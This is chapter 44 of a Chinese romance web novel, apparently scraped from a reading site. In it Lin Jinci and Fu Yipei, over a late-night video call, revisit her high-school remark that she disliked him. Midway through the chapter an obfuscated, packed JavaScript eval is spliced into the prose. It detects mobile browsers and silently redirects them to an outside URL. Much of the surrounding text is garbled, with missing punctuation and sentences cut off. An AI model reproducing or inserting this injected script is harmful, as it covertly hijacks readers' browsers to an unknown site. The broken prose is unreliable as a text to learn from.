第44章
作品:《发梦蜉蝣》 送走傅易沛,林晋慈打开行李箱,将自己带来的两套衣物拿去简单整理挂放,视线落到旁边的男装上,刚萌生出想要参观衣帽间的念头,手机便响了。
是到家的表妹发来信息。
表妹:[姐姐,我到家了,有件事想要问一下傅总,后面电影路演我需要参加吗?]
林晋慈略略皱起眉,回信息过去:[你要问傅易沛就去找他,怎么来问我?]
表妹:[哎呀,这不是想着姐姐你跟傅总就在一块,顺道就一块儿问了,姐姐你帮我问问傅总呗。]
紧跟着发来一张撒娇表情包。
林晋慈:[他已经走了,你去问他吧。]
表妹好像并不很在意电影路演的事,注意力完全偏转,发来一串“啊啊啊啊啊”,吵得林晋慈眼睛一跳,然后追问:[姐姐你怎么把傅总赶走了啊?]
这一天发生太多事,无论身心,林晋慈都有点经不住表妹一惊一乍,意识到表妹可能只是拐弯抹角来打听的,除去一些不便陈述的亲密部分,索性都告诉表妹了,并说如果有需要,自己明天跟傅易沛吃饭的时候帮她问路演的事。
表妹心满意足,叮嘱道:[你一定要见傅总,帮我问哦,全靠你了姐姐。]
又发来一张爱心发散的表情包。
林晋慈多看了一眼这个小动图,觉得耳目一新,想着以后有可能会用到,就顺手保存了下来。
衣帽间的巡视,以拉开某个抽屉,宣告结束——看见一叠按黑灰白色阶摆放的小件贴身衣物,林晋慈微微瞠目,然后原路推回去。
不过也大致看完了。
林晋慈更确定,傅易沛的衣着风格变化很大,他曾经喜欢穿的破洞牛仔裤一条也没有看到,羊绒和真丝的单品倒是许多。
非要让林晋慈来形容的话,感觉像是前卫潮牌的男模被挖去代言Cucinelli,一下子成熟起来。
睡前,林晋慈刷了几条建筑新闻,大致浏览,又点开一篇国外某权威机构推送的行业文章,细细阅读。她习惯对看过的内容进行整理归纳,以便日后想来某个案例需要调出重看时,可以迅速查阅。
记录时,忽然想起来徐东旭提过傅易沛位于城南的私宅,诸多吹捧中也形容过风格,林晋慈想搜索一下相关图文,刚输入关键词,手机就亮起来了。
F:[在想你。]
捧起手机的林晋慈感到匪夷所思,好像这三个字
不是正常人类可以随便说出的话,仔细算他们应该才分开一小时十五分钟。
对面的人显然也清楚此项事实。
F:[明明一个小时前才见到。]
林晋慈心想,就是。
这有什么好想的,才一个小时。
而且分开的时候,傅易沛在门口抱了林晋慈四分半,比他跟他爷爷的通话时间都长,还是林晋慈的视角看到走廊有穿酒店工作制服的员工,注意到他们,并偷笑着走开,才试着提醒,低声问他还要这样抱多久,傅易沛才松开手,跟她正式告别说晚安。
F:[现在跟你视频会不会特别不方便?]
林晋慈盯着屏幕上的文字。
如果傅易沛对她说,可以视频吗,她回复不方便,很正常,但他用这样的句式提问,林晋慈如果回复不方便,就会显得很冷漠,毫无情感温度。
明明是同一个问题和一字不差的回答,为什么会这样天差地别?说不过你们这些搞电影的——这话是以前林晋慈瞎学来的,但似乎时隔多年,她才初初体会到其中奥义。
林晋慈没有纠结,主动将视频拨过去,对着已经显示自己的屏幕稍稍正了正肩膀。
那边接通后,没有第一时间说话,而是带着镜头移动,匆匆划过几处中式建筑的布局。好像真的在他舅舅家,没有骗她。
林晋慈就说刚刚在酒店听他说有工作计划要去他舅舅家,还以为是假的。
傅易沛对着屏幕露出好看的笑,说“我怎么会骗你
林晋慈憋住笑,努力地皱眉来表达疑惑,她什么时候请傅易沛来帮这个忙了?
正不知道怎么说话。
傅易沛那边,忽然由近及远传来一道年轻的女声——
“呦呦呦,之前哪次喊你过来,不是三请四催跟尊大佛一样,今晚怎么不请自来啊,大忙人。
林晋慈看到屏幕里,傅易沛转过脸去,林晋慈以前就发现了,这人生了一双含情眼,正脸温柔,一旦缺乏这双眼的注视,就会恍然发现,傅易沛的轮廓立体,甚至称得上锋锐,不是那种柔情似水的人。
傅易沛冲来人的方向,下颌微扬,露出淡淡不耐:“我的事你少管,赶紧走,魏再等你半个小时了吧?
“等女朋友是一种情趣,哦,单身人士的确不会懂,好吧我理解。
看到
傅易沛嗤笑一声某一刹林晋慈觉得好像穿前卫潮牌的那个傅易沛又回来了。
待人走了傅易沛才重新看镜头介绍说:“那是我表妹。”
林晋慈“哦”了一声。
“跟你表妹差不多。”
林晋慈一愣怀疑道:“你又在骂人吗?”
“没有我什么时候骂过人?”傅易沛委屈地说“林晋慈你怎么对我有这么多误解?”
林晋慈本想道出事实他今晚还骂了成寒阴阳怪气骂得有点难听但看到傅易沛好像已经有了一点感到受伤的样子
“你有你高中就说过讨厌我。”
林晋慈顿时头大:“……你怎么还记得啊?”
大学恋爱期间他们提及高中的次数屈指可数林晋慈后来当他已经忘记了毕竟和她后来向傅易沛表达喜欢的话语相比那一句讨厌实在微不足道如同一点墨水落进海洋自然而然地就消失了。
“你一直在生气吗?大学的时候怎么没有来问我?”
傅易沛生硬冷言:“不想问不想听你说为什么讨厌我。”
“好吧。”
林晋慈试探道:“那现在呢?现在想听吗?”
傅易沛板起脸声音低闷:“你有点过分了。”
林晋慈还是想要解释清楚高中的时候可能对于傅易沛会不会误会没有所谓但现在不希望傅易沛因此低落对傅易沛说:“其实我当时有想过跟你解释但你当时好像不是很在意。”
加上汤宁也告诉过林晋慈傅易沛不是计较这种小事的人林晋慈就没有放在心上。
“我说的这种’讨厌‘并不是否定你这个人只是就事论事——”
“你就事论事地讨厌我?”
有记忆以来林晋慈从没有说话紧张结巴过即使是喝醉时都会尽量自我控制显得比常人稳定许多偏偏在这个节
点一时讲不清楚:“不是不是那个意思是就事论事但不是那种板上钉钉的意思我没有那么讨厌就是……就是口语里的不太喜欢。”
“不太喜欢?”傅易沛蹙眉不悦“那不还是不喜欢没必要再说一次了。”
“不是的你听我讲。”林晋慈整理思路重新说“我不是觉得你讨厌我是觉得你很莫名其妙。”
“……”
傅易沛收起所有表情好像
什么都可以听了又好像一句都不想听了。
林晋慈轻声请求:“你听我讲一下完整的好吗?”
傅易沛深深吸气抿唇点头十分潇洒:“讲吧也不多这一句两句的了。”
林晋慈没有注意到傅易沛表情里的虚假成分完全地投入到了构思如何清晰讲述的逻辑安排中。
稍稍停顿后以一问将旧事件起头。
“你记得高二第一个学期开学有一个植物学家来南安高中开展研学活动吗?是去宜都近郊的湿地公园观察候鸟因为要求写两千字的活动报告很多人都不想去自愿报名的名额缺了很多我们班就被要求班干部都去……”
那天林晋慈背着一只霜绿色的书包带着便利店买的三明治和水一早就去了学校的小广场。三辆橙色大巴已经等候就绪来的学生寥寥无几林晋慈登上最后一辆车上空无一人正合她心意。
她选定座位靠在一个偏后又临窗的座位上补觉睡得很浅因为不久就有其他学生陆陆续续上车产生各种声音。
人越来越多。
最终充满车厢的嘈杂谈话声让她睁开眼。
没过一会儿傅易沛来了。
由于个子太高穿着一身亮眼的私服的傅易沛上车后不得不稍弯着脖子。车上大概还剩三分之一的空位不过靠窗的位置几乎都已经坐了人。他单手挎着搭在肩上的书包朝车厢里走边走边看好像在寻觅什么。
然后在林晋慈面前停下。
由于存在感太强引起林晋慈的注意在两人视线相对的一刻他又弓身靠近了一些跟林晋慈语气友好地说话。
“我能坐你这个位置吗?”
林晋慈起初一瞬觉得莫名其妙又想到可能大多数人都喜欢靠窗坐傅易沛也同样
她说的“旁边”比傅易沛理解的“旁边”范围更大是指车上的其他的空位傅易沛好像理解错了淡然微笑应了一声“好”直接在林晋慈身侧的空位上坐下。
快到让林晋慈有些发懵。
撕开包装纸的三明治递到嘴边都忘了吃先闻到一股清冽干爽的香气从旁边传来。
座位之间的空间不大宽裕他拿下书包的动作使得一侧书包带子碰到林晋慈的手臂林晋慈咀嚼三明治的腮部也因此停顿了一秒然后无事发生一样
继续咀嚼。
林晋慈也由此见识到傅易沛的好人缘,明明车上大部分人都是其他班的,林晋慈叫不上名字,有些见都没见过,但好像大家都认识傅易沛,跟他关系要好,各种为野餐准备的零食水果都朝他们这小小的双人座里递来。
而傅易沛非常有教养,每次都会问林晋慈需不需要,帮她拿,让她也尝尝。
一直拒绝也不好,林晋慈就尝了几颗傅易沛带来的蓝莓,品质很好,甜中带酸,也礼貌地对他说,很好吃,谢谢。随后微侧过身体,脑袋靠着车窗玻璃继续补觉。
后来车子开了一个小时,穿过森林湖泊,到达湿地公园,导游站在地面挨个发观光手册,引导大家进去,通知大家去展馆的小礼堂先看纪录片。
她和傅易沛站在车厢中,不前不后被挤在下车的人潮里。
这种集体活动,总有个别男生像返祖的猴子一样急躁,林晋慈刚下车,眼睛不适应过盛的日光,眯起来,下一秒就被人猛地撞到。
稍后一步下车的傅易沛抓她胳膊扶了她一把,等她站稳,就把手拿开了。
林晋慈回身道谢。
傅易沛说不客气,摘了脑袋上的帽子,递给她,在这个场景下,说了林晋慈无法拒绝的话。
“你能帮我占个好位置吗?我有事要去找我朋友一下。”
林晋慈也的确占到了靠后的好位置,把一顶藏蓝色的鸭舌帽放在自己旁边的椅子上,因为靠前不好玩手机,后排唯一的空座实在抢手,好几个人来问她,旁边可以坐吗,林晋慈不胜其烦地为傅易沛拒绝,说了七次“有人了”。
纪录片快播放时,傅易沛才回来,看到林晋慈就露出礼貌的微笑,令人无法生气;还夸赞林晋慈位置选得好,对林晋慈表达感谢,更加令人无法生气。
他又一次在林晋慈身边坐下,林晋慈又闻到他身上飘来的清爽的类似洗剂残留的淡香,她不自主地微微屏息,觉得呼吸有些**扰了。
就像她每次去买冰饮,打开便利店的冷冻柜,会下意识地加深呼吸,因为这种冷调的气息的确好闻。
她刚刚想偏过头去,视线里,先一步伸来一只男生骨节分明的手。
递过来的东西是驱蚊贴。
上面有一组蓝色的已经被人撕去,空位下,是一组粉色的。
“这个季节蚊虫还是很多,我问我朋友拿来的,这个给你用。”
林晋慈接过去,又
对他道谢。
傅易沛浅浅笑了一下,说不用客气,你也帮了我。
林晋慈觉得理不清。
因为从根本上来说,她没有主动帮助他人的这种好心,这种有来有往的互帮互助似乎都是由傅易沛产生。
她承
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823373|168737||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
认大家说的,傅易沛很迷人,但是这种迷人也伴随着麻烦。
在她说出“讨厌”傅易沛之后,也跟汤宁和成寒解释过来由,因她也一度怀疑,是不是自己性格有问题,才会去讨厌一个人人喜欢的男同学。
不过还好有成寒肯定她,对她说:“你没什么问题,我也觉得他这样挺讨厌的,可能他觉得自己很帅,魅力无处散发吧。”
汤宁则说:“其实还好,傅易沛一直都是蛮周到的一个人,而且我们打球,我也经常提到你,你们又同班,他对你多关照一点也很正常,只不过你不喜欢跟不熟悉的人来往过密而已,别多想了。”
林晋慈稍感放心,至此,也将这件事在心中翻篇。
只是没想到傅易沛居然一直记着。
傅易沛听完这件事的起因,久久没有出声,并露出一副复杂难言的样子。
林晋慈认为自己的表述很清晰,问:“你应该可以理解了吧?”还有一句“理解了就不要再生气了”,没来得及说,就听傅易沛冷笑一声,说“理解”。
“我就知道成寒嘴里没有什么我的好话。”
林晋慈:“……”
大学时林晋慈也有过苦恼,自己的朋友和男友似乎难以相处融洽,不过当时的大学室友告诉她,这是正常情况,说她的闺蜜也很讨厌她的前男朋友,前男朋友也对闺蜜多有不满。
室友说,友情和爱情看似不一样,实则一样,都是后宫里的妃子等着你去翻牌,你选一个势必就要冷落另一个,久而久之自然就失衡了,她前男友还问过她,是自己重要还是她闺蜜重要这种话。
林晋慈没有想到,自己也会有这一天。
傅易沛问:“成寒对你来说是不是很重要?”
好在林晋慈对这个问题也不陌生。
因成寒也曾跟她说过类似的疑惑:“我经常感觉我在你的世界里可有可无,但好像你也不喜欢那种过于深刻的关系,所以有时候又觉得,能成为你这样的朋友,已经是最好的了。”
林晋慈回答:“是很重要的。”
“你对他讲话永远好听,他到底哪里好?”
林晋慈好像被傅易沛问
住了一样,仿佛从没有思考过这样的问题,于是困惑半晌,语意朦胧地说:“我不知道,我只是能感到我需要成寒这样的朋友。
可能从小就缺乏热情这种天赋去维持友谊,林晋慈一路读书,也认识许多人,彼此客客气气地认识,也客客气气地失去交集,极少有人像成寒和汤宁这样,看透她冷漠的本质,不加以
斥责,因理解她是这样的一个人,格外包容,永远愿意去当更主动更热情的那一方。
“我外婆家有一台很老的收音机,按键不灵了,以前我外婆每次听戏都要按好几下,那台机子才会’刺啦刺啦‘迟缓地接收到电台信号。我有时候觉得自己就像那台快要坏的机子,我好像就是不容易被按响,我遇见很多人,过来按我一下,就很失望,说我是坏的了,只有很少很少的人,会像我外婆那样,耐心地多按几次,耐心地等我发出声音,然后说,你看,还是好的。
对于总是被动地与世界连接的林晋慈来说,这种真心相待的朋友,她很清楚,在她的一生中,恐怕寥寥无几,即使无法回应同等的热情,也会在心里加倍珍惜。
傅易沛已经忘了两分钟前自己在生什么气了,心里只有后悔,后悔自己提出这样的问题,让林晋慈变得有些伤心,又因听到这样的答案,想要穿过屏幕去抱林晋慈。
他一出声,才发现自己的声音也不知何时变得有些异样,好似哽塞了一下,对林晋慈说:“当然是好的,你一直都是好的。
林晋慈对他笑笑,说:“其实成寒也有不好的地方,他很冲动,有些易怒,也固执,做事常常不顾后果。
以前的傅易沛不敢想象,如果林晋慈某天在他面前列出成寒的诸多缺点,自己会怎样称心,但真听到的这一刻,他一瞬就明白了林晋慈想表达的内容。
“你觉得他也是一个不太好的机子,因为自己被不耐心地对待过,所以会耐心地对待另一个机子,是吗?
“差不多吧。
因为心里的想法又被傅易沛猜到讲出,林晋慈在屏幕里淡淡地笑了一下。
“他比我好,有能量,有冲劲,以前虽然经常有点丧气,但有时候又敢做很大的梦,我觉得很了不起。汤宁说他是天生的明星体质,有与生俱来的脆弱,偶尔又蓬勃得像野火,如果一个人既能让人怜惜,又有吸引力,的确会让人迷恋。
傅易沛盯着屏幕里的
林晋慈,忽有一瞬走神,视线又重新落在她身上,点了点头,认同地说:“很有道理。
今晚林晋慈倾诉欲多于往常,并提到一些有关自我内心的事,即使是和朋友,她也少有这样深入的交谈。
但看到傅易沛似乎已经不再生气了,在少量的不自在之外,又觉得体感良好,像是完成一件要紧的事。
手机是靠在茶几上固定的,她坐在傅易沛熟悉的沙发上,将两手稍稍往后面撑着,对傅易沛说:“你不要再记着我说讨厌你的事,现在没有了。
傅易沛追问:“那现在是什么?
林晋慈说:“现在是不讨厌。
傅易沛忍不住翘起唇角,就知道她会这样回答,不过他有耐心等,不急于一时再去追问,故意酸酸地挑起刺来:“你说你的朋友,都把他们说得那么好,像野火是吧?那我呢?我像什么?
林晋慈又一次想到那句“说不过你们这些搞电影的,像野火明明是汤宁形容成寒的,被傅易沛扣到自己头上,并索要同等对待。
林晋慈不是汤宁,缺乏诗意的想象,也没办法说出这种浪漫的话。
她沉思许久,才想到一个稍显恰当的形容。
对傅易沛说——
“你像电影。
傅易沛好像不太买账,抱怨林晋慈敷衍,他的人生关键词,随便拉一个不太熟的人来讲,大概都会和电影相关。
林晋慈说没有敷衍,看着傅易沛,更确信地说:“你真的很像电影。